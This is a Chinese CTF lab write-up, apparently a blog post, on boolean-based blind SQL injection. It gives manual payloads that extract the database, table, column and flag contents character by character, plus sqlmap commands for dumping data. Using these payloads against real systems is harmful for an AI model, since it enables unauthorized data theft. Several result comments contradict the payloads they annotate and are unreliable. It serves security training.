CTFHUB-布尔盲注

布尔盲注

页面回显的结果只有两种 true 和 false

true:

false:

常用函数:

  • count(x):返回统计的数量
  • length(str):返回str字符串的长度
  • ascii(str):返回字符串str的最左面字符的ASCII代码值。
  • substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回,注意:这里的pos位置是从1开始的,不是数组的0开始

布尔注入非常繁琐费时,基本是利用工具注入,后面写了sqlmap注入的方式,但需要了解布尔注入的手工注入方式

判断当前数据库名的长度:

1 and length(database())=4
#直接给了 true ,数据库 sqli

匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表

1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#数据库是security,这里直接给了true值

判断表的数量:

1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2 
#sqli下共是4个表,直接给了true值

匹配表名的ASCII码:

1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一个表名是flag,直接给了true值

判断字段(列)数:

1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1个字段,直接给了true值

匹配字段名的ASCII码:

1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag" limit 1,1),1,1))=108
...
#flag,直接给了true值

判断字段下有多少数据:

1 and (select count(flag) from sqli.flag)=1
#flag下有13个数据,直接给了true值

查询数据:

1 and ascii(substr((select flag from sqli.flag limit 0,1),1,1))=99
...
#第一个数据为ctfhub......,这里直接给了true值

sqlmap注入:

爆库名:sqlmap -u http://www.example.com/?id=1 -current-db

爆表名:sqlmap -u http://www.example.com/?id=1 -D security -tables

爆字段名:sqlmap -u http://www.example.com/?id=1 -D security -T users -columns

爆数据:sqlmap -u http://www.example.com/?id=1 -D security -T users -C flag -dump

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值